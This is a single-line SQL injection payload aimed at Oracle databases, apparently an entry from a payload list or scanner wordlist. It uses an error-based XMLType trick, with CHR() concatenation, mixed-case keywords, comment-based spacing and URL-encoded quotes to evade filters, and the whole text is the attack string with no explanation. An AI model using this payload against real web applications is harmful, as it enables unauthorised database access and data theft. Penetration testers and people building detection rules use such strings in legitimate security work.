1) WHERE 6421=6421,(sElECt/**/UPPeR(xmLtYPe(Chr(60)||CHR(58)||%27~%27||(sElECT/**/(cASE/**/WHEn/**/(10000=10000)/**/Then/**/1/**/eLsE/**/0/**/eNd)/**/FroM/**/DuAL)||%27~%27||chr(62)))/**/FroM/**/dUal)-- -